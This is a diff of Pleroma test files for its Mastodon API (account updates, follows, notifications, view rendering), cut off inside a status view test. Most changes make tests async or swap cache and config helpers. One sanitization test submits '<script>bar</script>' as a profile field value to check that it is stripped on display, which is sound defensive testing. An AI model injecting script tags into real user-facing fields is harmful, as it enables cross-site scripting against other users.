	index 687fe5585..cf7f464be 100644
	--- a/test/pleroma/web/mastodon_api/mastodon_api_test.exs
	+++ b/test/pleroma/web/mastodon_api/mastodon_api_test.exs
	@@ -1,103 +1,103 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.MastodonAPITest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	alias Pleroma.Notification
	alias Pleroma.ScheduledActivity
	alias Pleroma.User
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.MastodonAPI.MastodonAPI

	import Pleroma.Factory

	describe "follow/3" do
	test "returns error when followed user is deactivated" do
	follower = insert(:user)
	user = insert(:user, local: true, deactivated: true)
	assert {:error, _error} = MastodonAPI.follow(follower, user)
	end

	test "following for user" do
	follower = insert(:user)
	user = insert(:user)
	{:ok, follower} = MastodonAPI.follow(follower, user)
	assert User.following?(follower, user)
	end

	test "returns ok if user already followed" do
	follower = insert(:user)
	user = insert(:user)
	{:ok, follower, user} = User.follow(follower, user)
	{:ok, follower} = MastodonAPI.follow(follower, refresh_record(user))
	assert User.following?(follower, user)
	end
	end

	describe "get_followers/2" do
	test "returns user followers" do
	follower1_user = insert(:user)
	follower2_user = insert(:user)
	user = insert(:user)
	{:ok, _follower1_user, _user} = User.follow(follower1_user, user)
	{:ok, follower2_user, _user} = User.follow(follower2_user, user)

	assert MastodonAPI.get_followers(user, %{"limit" => 1}) == [follower2_user]
	end
	end

	describe "get_friends/2" do
	test "returns user friends" do
	user = insert(:user)
	followed_one = insert(:user)
	followed_two = insert(:user)
	followed_three = insert(:user)

	{:ok, user, followed_one} = User.follow(user, followed_one)
	{:ok, user, followed_two} = User.follow(user, followed_two)
	{:ok, user, followed_three} = User.follow(user, followed_three)
	res = MastodonAPI.get_friends(user)

	assert length(res) == 3
	assert Enum.member?(res, refresh_record(followed_three))
	assert Enum.member?(res, refresh_record(followed_two))
	assert Enum.member?(res, refresh_record(followed_one))
	end
	end

	describe "get_notifications/2" do
	test "returns notifications for user" do
	user = insert(:user)
	subscriber = insert(:user)

	User.subscribe(subscriber, user)

	{:ok, status} = CommonAPI.post(user, %{status: "Akariiiin"})

	{:ok, status1} = CommonAPI.post(user, %{status: "Magi"})
	{:ok, [notification]} = Notification.create_notifications(status)
	{:ok, [notification1]} = Notification.create_notifications(status1)
	res = MastodonAPI.get_notifications(subscriber)

	assert Enum.member?(Enum.map(res, & &1.id), notification.id)
	assert Enum.member?(Enum.map(res, & &1.id), notification1.id)
	end
	end

	describe "get_scheduled_activities/2" do
	test "returns user scheduled activities" do
	user = insert(:user)

	today =
	NaiveDateTime.utc_now()
	\|> NaiveDateTime.add(:timer.minutes(6), :millisecond)
	\|> NaiveDateTime.to_iso8601()

	attrs = %{params: %{}, scheduled_at: today}
	{:ok, schedule} = ScheduledActivity.create(user, attrs)
	assert MastodonAPI.get_scheduled_activities(user) == [schedule]
	end
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/update_credentials_test.exs b/test/pleroma/web/mastodon_api/update_credentials_test.exs
	index ed1921c91..023726468 100644
	--- a/test/pleroma/web/mastodon_api/update_credentials_test.exs
	+++ b/test/pleroma/web/mastodon_api/update_credentials_test.exs
	@@ -1,529 +1,527 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.UpdateCredentialsTest do
	alias Pleroma.Repo
	alias Pleroma.User

	use Pleroma.Web.ConnCase

	import Mock
	import Pleroma.Factory

	- setup do: clear_config([:instance, :max_account_fields])
	-
	describe "updating credentials" do
	setup do: oauth_access(["write:accounts"])
	setup :request_content_type

	test "sets user settings in a generic way", %{conn: conn} do
	res_conn =
	patch(conn, "/api/v1/accounts/update_credentials", %{
	"pleroma_settings_store" => %{
	pleroma_fe: %{
	theme: "bla"
	}
	}
	})

	assert user_data = json_response_and_validate_schema(res_conn, 200)
	assert user_data["pleroma"]["settings_store"] == %{"pleroma_fe" => %{"theme" => "bla"}}

	user = Repo.get(User, user_data["id"])

	res_conn =
	conn
	\|> assign(:user, user)
	\|> patch("/api/v1/accounts/update_credentials", %{
	"pleroma_settings_store" => %{
	masto_fe: %{
	theme: "bla"
	}
	}
	})

	assert user_data = json_response_and_validate_schema(res_conn, 200)

	assert user_data["pleroma"]["settings_store"] ==
	%{
	"pleroma_fe" => %{"theme" => "bla"},
	"masto_fe" => %{"theme" => "bla"}
	}

	user = Repo.get(User, user_data["id"])

	clear_config([:instance, :federating], true)

	with_mock Pleroma.Web.Federator,
	publish: fn _activity -> :ok end do
	res_conn =
	conn
	\|> assign(:user, user)
	\|> patch("/api/v1/accounts/update_credentials", %{
	"pleroma_settings_store" => %{
	masto_fe: %{
	theme: "blub"
	}
	}
	})

	assert user_data = json_response_and_validate_schema(res_conn, 200)

	assert user_data["pleroma"]["settings_store"] ==
	%{
	"pleroma_fe" => %{"theme" => "bla"},
	"masto_fe" => %{"theme" => "blub"}
	}

	assert_called(Pleroma.Web.Federator.publish(:_))
	end
	end

	test "updates the user's bio", %{conn: conn} do
	user2 = insert(:user)

	raw_bio = "I drink #cofe with @#{user2.nickname}\n\nsuya.."

	conn = patch(conn, "/api/v1/accounts/update_credentials", %{"note" => raw_bio})

	assert user_data = json_response_and_validate_schema(conn, 200)

	assert user_data["note"] ==
	~s(I drink <a class="hashtag" data-tag="cofe" href="http://localhost:4001/tag/cofe">#cofe</a> with <span class="h-card"><a class="u-url mention" data-user="#{
	user2.id
	}" href="#{user2.ap_id}" rel="ugc">@<span>#{user2.nickname}</span></a></span><br/><br/>suya..)

	assert user_data["source"]["note"] == raw_bio

	user = Repo.get(User, user_data["id"])

	assert user.raw_bio == raw_bio
	end

	test "updates the user's locking status", %{conn: conn} do
	conn = patch(conn, "/api/v1/accounts/update_credentials", %{locked: "true"})

	assert user_data = json_response_and_validate_schema(conn, 200)
	assert user_data["locked"] == true
	end

	test "updates the user's chat acceptance status", %{conn: conn} do
	conn = patch(conn, "/api/v1/accounts/update_credentials", %{accepts_chat_messages: "false"})

	assert user_data = json_response_and_validate_schema(conn, 200)
	assert user_data["pleroma"]["accepts_chat_messages"] == false
	end

	test "updates the user's allow_following_move", %{user: user, conn: conn} do
	assert user.allow_following_move == true

	conn = patch(conn, "/api/v1/accounts/update_credentials", %{allow_following_move: "false"})

	assert refresh_record(user).allow_following_move == false
	assert user_data = json_response_and_validate_schema(conn, 200)
	assert user_data["pleroma"]["allow_following_move"] == false
	end

	test "updates the user's default scope", %{conn: conn} do
	conn = patch(conn, "/api/v1/accounts/update_credentials", %{default_scope: "unlisted"})

	assert user_data = json_response_and_validate_schema(conn, 200)
	assert user_data["source"]["privacy"] == "unlisted"
	end

	test "updates the user's privacy", %{conn: conn} do
	conn = patch(conn, "/api/v1/accounts/update_credentials", %{source: %{privacy: "unlisted"}})

	assert user_data = json_response_and_validate_schema(conn, 200)
	assert user_data["source"]["privacy"] == "unlisted"
	end

	test "updates the user's hide_followers status", %{conn: conn} do
	conn = patch(conn, "/api/v1/accounts/update_credentials", %{hide_followers: "true"})

	assert user_data = json_response_and_validate_schema(conn, 200)
	assert user_data["pleroma"]["hide_followers"] == true
	end

	test "updates the user's discoverable status", %{conn: conn} do
	assert %{"source" => %{"pleroma" => %{"discoverable" => true}}} =
	conn
	\|> patch("/api/v1/accounts/update_credentials", %{discoverable: "true"})
	\|> json_response_and_validate_schema(:ok)

	assert %{"source" => %{"pleroma" => %{"discoverable" => false}}} =
	conn
	\|> patch("/api/v1/accounts/update_credentials", %{discoverable: "false"})
	\|> json_response_and_validate_schema(:ok)
	end

	test "updates the user's hide_followers_count and hide_follows_count", %{conn: conn} do
	conn =
	patch(conn, "/api/v1/accounts/update_credentials", %{
	hide_followers_count: "true",
	hide_follows_count: "true"
	})

	assert user_data = json_response_and_validate_schema(conn, 200)
	assert user_data["pleroma"]["hide_followers_count"] == true
	assert user_data["pleroma"]["hide_follows_count"] == true
	end

	test "updates the user's skip_thread_containment option", %{user: user, conn: conn} do
	response =
	conn
	\|> patch("/api/v1/accounts/update_credentials", %{skip_thread_containment: "true"})
	\|> json_response_and_validate_schema(200)

	assert response["pleroma"]["skip_thread_containment"] == true
	assert refresh_record(user).skip_thread_containment
	end

	test "updates the user's hide_follows status", %{conn: conn} do
	conn = patch(conn, "/api/v1/accounts/update_credentials", %{hide_follows: "true"})

	assert user_data = json_response_and_validate_schema(conn, 200)
	assert user_data["pleroma"]["hide_follows"] == true
	end

	test "updates the user's hide_favorites status", %{conn: conn} do
	conn = patch(conn, "/api/v1/accounts/update_credentials", %{hide_favorites: "true"})

	assert user_data = json_response_and_validate_schema(conn, 200)
	assert user_data["pleroma"]["hide_favorites"] == true
	end

	test "updates the user's show_role status", %{conn: conn} do
	conn = patch(conn, "/api/v1/accounts/update_credentials", %{show_role: "false"})

	assert user_data = json_response_and_validate_schema(conn, 200)
	assert user_data["source"]["pleroma"]["show_role"] == false
	end

	test "updates the user's no_rich_text status", %{conn: conn} do
	conn = patch(conn, "/api/v1/accounts/update_credentials", %{no_rich_text: "true"})

	assert user_data = json_response_and_validate_schema(conn, 200)
	assert user_data["source"]["pleroma"]["no_rich_text"] == true
	end

	test "updates the user's name", %{conn: conn} do
	conn =
	patch(conn, "/api/v1/accounts/update_credentials", %{"display_name" => "markorepairs"})

	assert user_data = json_response_and_validate_schema(conn, 200)
	assert user_data["display_name"] == "markorepairs"

	update_activity = Repo.one(Pleroma.Activity)
	assert update_activity.data["type"] == "Update"
	assert update_activity.data["object"]["name"] == "markorepairs"
	end

	test "updates the user's avatar", %{user: user, conn: conn} do
	new_avatar = %Plug.Upload{
	content_type: "image/jpeg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	assert user.avatar == %{}

	res = patch(conn, "/api/v1/accounts/update_credentials", %{"avatar" => new_avatar})

	assert user_response = json_response_and_validate_schema(res, 200)
	assert user_response["avatar"] != User.avatar_url(user)

	user = User.get_by_id(user.id)
	refute user.avatar == %{}

	# Also resets it
	_res = patch(conn, "/api/v1/accounts/update_credentials", %{"avatar" => ""})

	user = User.get_by_id(user.id)
	assert user.avatar == nil
	end

	test "updates the user's banner", %{user: user, conn: conn} do
	new_header = %Plug.Upload{
	content_type: "image/jpeg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	res = patch(conn, "/api/v1/accounts/update_credentials", %{"header" => new_header})

	assert user_response = json_response_and_validate_schema(res, 200)
	assert user_response["header"] != User.banner_url(user)

	# Also resets it
	_res = patch(conn, "/api/v1/accounts/update_credentials", %{"header" => ""})

	user = User.get_by_id(user.id)
	assert user.banner == nil
	end

	test "updates the user's background", %{conn: conn, user: user} do
	new_header = %Plug.Upload{
	content_type: "image/jpeg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	res =
	patch(conn, "/api/v1/accounts/update_credentials", %{
	"pleroma_background_image" => new_header
	})

	assert user_response = json_response_and_validate_schema(res, 200)
	assert user_response["pleroma"]["background_image"]
	#
	# Also resets it
	_res =
	patch(conn, "/api/v1/accounts/update_credentials", %{"pleroma_background_image" => ""})

	user = User.get_by_id(user.id)
	assert user.background == nil
	end

	test "requires 'write:accounts' permission" do
	token1 = insert(:oauth_token, scopes: ["read"])
	token2 = insert(:oauth_token, scopes: ["write", "follow"])

	for token <- [token1, token2] do
	conn =
	build_conn()
	\|> put_req_header("content-type", "multipart/form-data")
	\|> put_req_header("authorization", "Bearer #{token.token}")
	\|> patch("/api/v1/accounts/update_credentials", %{})

	if token == token1 do
	assert %{"error" => "Insufficient permissions: write:accounts."} ==
	json_response_and_validate_schema(conn, 403)
	else
	assert json_response_and_validate_schema(conn, 200)
	end
	end
	end

	test "updates profile emojos", %{user: user, conn: conn} do
	note = "sips :blank:"
	name = "I am :firefox:"

	ret_conn =
	patch(conn, "/api/v1/accounts/update_credentials", %{
	"note" => note,
	"display_name" => name
	})

	assert json_response_and_validate_schema(ret_conn, 200)

	conn = get(conn, "/api/v1/accounts/#{user.id}")

	assert user_data = json_response_and_validate_schema(conn, 200)

	assert user_data["note"] == note
	assert user_data["display_name"] == name
	assert [%{"shortcode" => "blank"}, %{"shortcode" => "firefox"}] = user_data["emojis"]
	end

	test "update fields", %{conn: conn} do
	fields = [
	%{"name" => "<a href=\"http://google.com\">foo</a>", "value" => "<script>bar</script>"},
	%{"name" => "link.io", "value" => "cofe.io"}
	]

	account_data =
	conn
	\|> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields})
	\|> json_response_and_validate_schema(200)

	assert account_data["fields"] == [
	%{"name" => "<a href=\"http://google.com\">foo</a>", "value" => "bar"},
	%{
	"name" => "link.io",
	"value" => ~S(<a href="http://cofe.io" rel="ugc">cofe.io</a>)
	}
	]

	assert account_data["source"]["fields"] == [
	%{
	"name" => "<a href=\"http://google.com\">foo</a>",
	"value" => "<script>bar</script>"
	},
	%{"name" => "link.io", "value" => "cofe.io"}
	]
	end

	test "emojis in fields labels", %{conn: conn} do
	fields = [
	%{"name" => ":firefox:", "value" => "is best 2hu"},
	%{"name" => "they wins", "value" => ":blank:"}
	]

	account_data =
	conn
	\|> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields})
	\|> json_response_and_validate_schema(200)

	assert account_data["fields"] == [
	%{"name" => ":firefox:", "value" => "is best 2hu"},
	%{"name" => "they wins", "value" => ":blank:"}
	]

	assert account_data["source"]["fields"] == [
	%{"name" => ":firefox:", "value" => "is best 2hu"},
	%{"name" => "they wins", "value" => ":blank:"}
	]

	assert [%{"shortcode" => "blank"}, %{"shortcode" => "firefox"}] = account_data["emojis"]
	end

	test "update fields via x-www-form-urlencoded", %{conn: conn} do
	fields =
	[
	"fields_attributes[1][name]=link",
	"fields_attributes[1][value]=http://cofe.io",
	"fields_attributes[0][name]=foo",
	"fields_attributes[0][value]=bar"
	]
	\|> Enum.join("&")

	account =
	conn
	\|> put_req_header("content-type", "application/x-www-form-urlencoded")
	\|> patch("/api/v1/accounts/update_credentials", fields)
	\|> json_response_and_validate_schema(200)

	assert account["fields"] == [
	%{"name" => "foo", "value" => "bar"},
	%{
	"name" => "link",
	"value" => ~S(<a href="http://cofe.io" rel="ugc">http://cofe.io</a>)
	}
	]

	assert account["source"]["fields"] == [
	%{"name" => "foo", "value" => "bar"},
	%{"name" => "link", "value" => "http://cofe.io"}
	]
	end

	test "update fields with empty name", %{conn: conn} do
	fields = [
	%{"name" => "foo", "value" => ""},
	%{"name" => "", "value" => "bar"}
	]

	account =
	conn
	\|> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields})
	\|> json_response_and_validate_schema(200)

	assert account["fields"] == [
	%{"name" => "foo", "value" => ""}
	]
	end

	test "update fields when invalid request", %{conn: conn} do
	name_limit = Pleroma.Config.get([:instance, :account_field_name_length])
	value_limit = Pleroma.Config.get([:instance, :account_field_value_length])

	long_name = Enum.map(0..name_limit, fn _ -> "x" end) \|> Enum.join()
	long_value = Enum.map(0..value_limit, fn _ -> "x" end) \|> Enum.join()

	fields = [%{"name" => "foo", "value" => long_value}]

	assert %{"error" => "Invalid request"} ==
	conn
	\|> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields})
	\|> json_response_and_validate_schema(403)

	fields = [%{"name" => long_name, "value" => "bar"}]

	assert %{"error" => "Invalid request"} ==
	conn
	\|> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields})
	\|> json_response_and_validate_schema(403)

	- Pleroma.Config.put([:instance, :max_account_fields], 1)
	+ clear_config([:instance, :max_account_fields], 1)

	fields = [
	%{"name" => "foo", "value" => "bar"},
	%{"name" => "link", "value" => "cofe.io"}
	]

	assert %{"error" => "Invalid request"} ==
	conn
	\|> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields})
	\|> json_response_and_validate_schema(403)
	end
	end

	describe "Mark account as bot" do
	setup do: oauth_access(["write:accounts"])
	setup :request_content_type

	test "changing actor_type to Service makes account a bot", %{conn: conn} do
	account =
	conn
	\|> patch("/api/v1/accounts/update_credentials", %{actor_type: "Service"})
	\|> json_response_and_validate_schema(200)

	assert account["bot"]
	assert account["source"]["pleroma"]["actor_type"] == "Service"
	end

	test "changing actor_type to Person makes account a human", %{conn: conn} do
	account =
	conn
	\|> patch("/api/v1/accounts/update_credentials", %{actor_type: "Person"})
	\|> json_response_and_validate_schema(200)

	refute account["bot"]
	assert account["source"]["pleroma"]["actor_type"] == "Person"
	end

	test "changing actor_type to Application causes error", %{conn: conn} do
	response =
	conn
	\|> patch("/api/v1/accounts/update_credentials", %{actor_type: "Application"})
	\|> json_response_and_validate_schema(403)

	assert %{"error" => "Invalid request"} == response
	end

	test "changing bot field to true changes actor_type to Service", %{conn: conn} do
	account =
	conn
	\|> patch("/api/v1/accounts/update_credentials", %{bot: "true"})
	\|> json_response_and_validate_schema(200)

	assert account["bot"]
	assert account["source"]["pleroma"]["actor_type"] == "Service"
	end

	test "changing bot field to false changes actor_type to Person", %{conn: conn} do
	account =
	conn
	\|> patch("/api/v1/accounts/update_credentials", %{bot: "false"})
	\|> json_response_and_validate_schema(200)

	refute account["bot"]
	assert account["source"]["pleroma"]["actor_type"] == "Person"
	end

	test "actor_type field has a higher priority than bot", %{conn: conn} do
	account =
	conn
	\|> patch("/api/v1/accounts/update_credentials", %{
	actor_type: "Person",
	bot: "true"
	})
	\|> json_response_and_validate_schema(200)

	refute account["bot"]
	assert account["source"]["pleroma"]["actor_type"] == "Person"
	end
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/views/conversation_view_test.exs b/test/pleroma/web/mastodon_api/views/conversation_view_test.exs
	index 20c10ba3d..f02253b68 100644
	--- a/test/pleroma/web/mastodon_api/views/conversation_view_test.exs
	+++ b/test/pleroma/web/mastodon_api/views/conversation_view_test.exs
	@@ -1,46 +1,46 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.ConversationViewTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Conversation.Participation
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.MastodonAPI.ConversationView

	import Pleroma.Factory

	test "represents a Mastodon Conversation entity" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, parent} = CommonAPI.post(user, %{status: "parent"})

	{:ok, activity} =
	CommonAPI.post(user, %{
	status: "hey @#{other_user.nickname}",
	visibility: "direct",
	in_reply_to_id: parent.id
	})

	{:ok, _reply_activity} =
	CommonAPI.post(user, %{status: "hu", visibility: "public", in_reply_to_id: parent.id})

	[participation] = Participation.for_user_with_last_activity_id(user)

	assert participation

	conversation =
	ConversationView.render("participation.json", %{participation: participation, for: user})

	assert conversation.id == participation.id \|> to_string()
	assert conversation.last_status.id == activity.id
	assert conversation.last_status.account.id == user.id

	assert [account] = conversation.accounts
	assert account.id == other_user.id

	assert conversation.last_status.pleroma.direct_conversation_id == participation.id
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/views/list_view_test.exs b/test/pleroma/web/mastodon_api/views/list_view_test.exs
	index ca99242cb..377941332 100644
	--- a/test/pleroma/web/mastodon_api/views/list_view_test.exs
	+++ b/test/pleroma/web/mastodon_api/views/list_view_test.exs
	@@ -1,32 +1,32 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.ListViewTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	import Pleroma.Factory
	alias Pleroma.Web.MastodonAPI.ListView

	test "show" do
	user = insert(:user)
	title = "mortal enemies"
	{:ok, list} = Pleroma.List.create(title, user)

	expected = %{
	id: to_string(list.id),
	title: title
	}

	assert expected == ListView.render("show.json", %{list: list})
	end

	test "index" do
	user = insert(:user)

	{:ok, list} = Pleroma.List.create("my list", user)
	{:ok, list2} = Pleroma.List.create("cofe", user)

	assert [%{id: _, title: "my list"}, %{id: _, title: "cofe"}] =
	ListView.render("index.json", lists: [list, list2])
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/views/marker_view_test.exs b/test/pleroma/web/mastodon_api/views/marker_view_test.exs
	index 48a0a6d33..a0bec758f 100644
	--- a/test/pleroma/web/mastodon_api/views/marker_view_test.exs
	+++ b/test/pleroma/web/mastodon_api/views/marker_view_test.exs
	@@ -1,29 +1,29 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.MarkerViewTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	alias Pleroma.Web.MastodonAPI.MarkerView
	import Pleroma.Factory

	test "returns markers" do
	marker1 = insert(:marker, timeline: "notifications", last_read_id: "17", unread_count: 5)
	marker2 = insert(:marker, timeline: "home", last_read_id: "42")

	assert MarkerView.render("markers.json", %{markers: [marker1, marker2]}) == %{
	"home" => %{
	last_read_id: "42",
	updated_at: NaiveDateTime.to_iso8601(marker2.updated_at),
	version: 0,
	pleroma: %{unread_count: 0}
	},
	"notifications" => %{
	last_read_id: "17",
	updated_at: NaiveDateTime.to_iso8601(marker1.updated_at),
	version: 0,
	pleroma: %{unread_count: 5}
	}
	}
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/views/scheduled_activity_view_test.exs b/test/pleroma/web/mastodon_api/views/scheduled_activity_view_test.exs
	index 04f73f5a0..c41ac7f7f 100644
	--- a/test/pleroma/web/mastodon_api/views/scheduled_activity_view_test.exs
	+++ b/test/pleroma/web/mastodon_api/views/scheduled_activity_view_test.exs
	@@ -1,68 +1,68 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.ScheduledActivityViewTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	alias Pleroma.ScheduledActivity
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.CommonAPI.Utils
	alias Pleroma.Web.MastodonAPI.ScheduledActivityView
	alias Pleroma.Web.MastodonAPI.StatusView
	import Pleroma.Factory

	test "A scheduled activity with a media attachment" do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{status: "hi"})

	scheduled_at =
	NaiveDateTime.utc_now()
	\|> NaiveDateTime.add(:timer.minutes(10), :millisecond)
	\|> NaiveDateTime.to_iso8601()

	file = %Plug.Upload{
	content_type: "image/jpeg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	{:ok, upload} = ActivityPub.upload(file, actor: user.ap_id)

	attrs = %{
	params: %{
	"media_ids" => [upload.id],
	"status" => "hi",
	"sensitive" => true,
	"spoiler_text" => "spoiler",
	"visibility" => "unlisted",
	"in_reply_to_id" => to_string(activity.id)
	},
	scheduled_at: scheduled_at
	}

	{:ok, scheduled_activity} = ScheduledActivity.create(user, attrs)
	result = ScheduledActivityView.render("show.json", %{scheduled_activity: scheduled_activity})

	expected = %{
	id: to_string(scheduled_activity.id),
	media_attachments:
	%{media_ids: [upload.id]}
	\|> Utils.attachments_from_ids()
	\|> Enum.map(&StatusView.render("attachment.json", %{attachment: &1})),
	params: %{
	in_reply_to_id: to_string(activity.id),
	media_ids: [upload.id],
	poll: nil,
	scheduled_at: nil,
	sensitive: true,
	spoiler_text: "spoiler",
	text: "hi",
	visibility: "unlisted"
	},
	scheduled_at: Utils.to_masto_date(scheduled_activity.scheduled_at)
	}

	assert expected == result
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/views/status_view_test.exs b/test/pleroma/web/mastodon_api/views/status_view_test.exs
	index f2a7469ed..fa9066716 100644
	--- a/test/pleroma/web/mastodon_api/views/status_view_test.exs
	+++ b/test/pleroma/web/mastodon_api/views/status_view_test.exs
	@@ -1,710 +1,710 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
	use Pleroma.DataCase

	alias Pleroma.Activity
	alias Pleroma.Bookmark
	alias Pleroma.Conversation.Participation
	alias Pleroma.HTML
	alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.UserRelationship
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.CommonAPI.Utils
	alias Pleroma.Web.MastodonAPI.AccountView
	alias Pleroma.Web.MastodonAPI.StatusView

	import Pleroma.Factory
	import Tesla.Mock
	import OpenApiSpex.TestAssertions

	setup do
	mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	test "has an emoji reaction list" do
	user = insert(:user)
	other_user = insert(:user)
	third_user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{status: "dae cofe??"})

	{:ok, _} = CommonAPI.react_with_emoji(activity.id, user, "☕")
	{:ok, _} = CommonAPI.react_with_emoji(activity.id, third_user, "🍵")
	{:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "☕")
	activity = Repo.get(Activity, activity.id)
	status = StatusView.render("show.json", activity: activity)

	assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec())

	assert status[:pleroma][:emoji_reactions] == [
	%{name: "☕", count: 2, me: false},
	%{name: "🍵", count: 1, me: false}
	]

	status = StatusView.render("show.json", activity: activity, for: user)

	assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec())

	assert status[:pleroma][:emoji_reactions] == [
	%{name: "☕", count: 2, me: true},
	%{name: "🍵", count: 1, me: false}
	]
	end

	test "works correctly with badly formatted emojis" do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{status: "yo"})

	activity
	\|> Object.normalize(false)
	\|> Object.update_data(%{"reactions" => %{"☕" => [user.ap_id], "x" => 1}})

	activity = Activity.get_by_id(activity.id)

	status = StatusView.render("show.json", activity: activity, for: user)

	assert status[:pleroma][:emoji_reactions] == [
	%{name: "☕", count: 1, me: true}
	]
	end

	test "doesn't show reactions from muted and blocked users" do
	user = insert(:user)
	other_user = insert(:user)
	third_user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{status: "dae cofe??"})

	{:ok, _} = User.mute(user, other_user)
	{:ok, _} = User.block(other_user, third_user)

	{:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "☕")

	activity = Repo.get(Activity, activity.id)
	status = StatusView.render("show.json", activity: activity)

	assert status[:pleroma][:emoji_reactions] == [
	%{name: "☕", count: 1, me: false}
	]

	status = StatusView.render("show.json", activity: activity, for: user)

	assert status[:pleroma][:emoji_reactions] == []

	{:ok, _} = CommonAPI.react_with_emoji(activity.id, third_user, "☕")

	status = StatusView.render("show.json", activity: activity)

	assert status[:pleroma][:emoji_reactions] == [
	%{name: "☕", count: 2, me: false}
	]

	status = StatusView.render("show.json", activity: activity, for: user)

	assert status[:pleroma][:emoji_reactions] == [
	%{name: "☕", count: 1, me: false}
	]

	status = StatusView.render("show.json", activity: activity, for: other_user)

	assert status[:pleroma][:emoji_reactions] == [
	%{name: "☕", count: 1, me: true}
	]
	end

	test "loads and returns the direct conversation id when given the `with_direct_conversation_id` option" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{status: "Hey @shp!", visibility: "direct"})
	[participation] = Participation.for_user(user)

	status =
	StatusView.render("show.json",
	activity: activity,
	with_direct_conversation_id: true,
	for: user
	)

	assert status[:pleroma][:direct_conversation_id] == participation.id

	status = StatusView.render("show.json", activity: activity, for: user)
	assert status[:pleroma][:direct_conversation_id] == nil
	assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec())
	end

	test "returns the direct conversation id when given the `direct_conversation_id` option" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{status: "Hey @shp!", visibility: "direct"})
	[participation] = Participation.for_user(user)

	status =
	StatusView.render("show.json",
	activity: activity,
	direct_conversation_id: participation.id,
	for: user
	)

	assert status[:pleroma][:direct_conversation_id] == participation.id
	assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec())
	end

	test "returns a temporary ap_id based user for activities missing db users" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{status: "Hey @shp!", visibility: "direct"})

	Repo.delete(user)
	- Cachex.clear(:user_cache)
	+ User.invalidate_cache(user)

	finger_url =
	"https://localhost/.well-known/webfinger?resource=acct:#{user.nickname}@localhost"

	Tesla.Mock.mock_global(fn
	%{method: :get, url: "http://localhost/.well-known/host-meta"} ->
	%Tesla.Env{status: 404, body: ""}

	%{method: :get, url: "https://localhost/.well-known/host-meta"} ->
	%Tesla.Env{status: 404, body: ""}

	%{
	method: :get,
	url: ^finger_url
	} ->
	%Tesla.Env{status: 404, body: ""}
	end)

	%{account: ms_user} = StatusView.render("show.json", activity: activity)

	assert ms_user.acct == "erroruser@example.com"
	end

	test "tries to get a user by nickname if fetching by ap_id doesn't work" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{status: "Hey @shp!", visibility: "direct"})

	{:ok, user} =
	user
	\|> Ecto.Changeset.change(%{ap_id: "#{user.ap_id}/extension/#{user.nickname}"})
	\|> Repo.update()

	- Cachex.clear(:user_cache)
	+ User.invalidate_cache(user)

	result = StatusView.render("show.json", activity: activity)

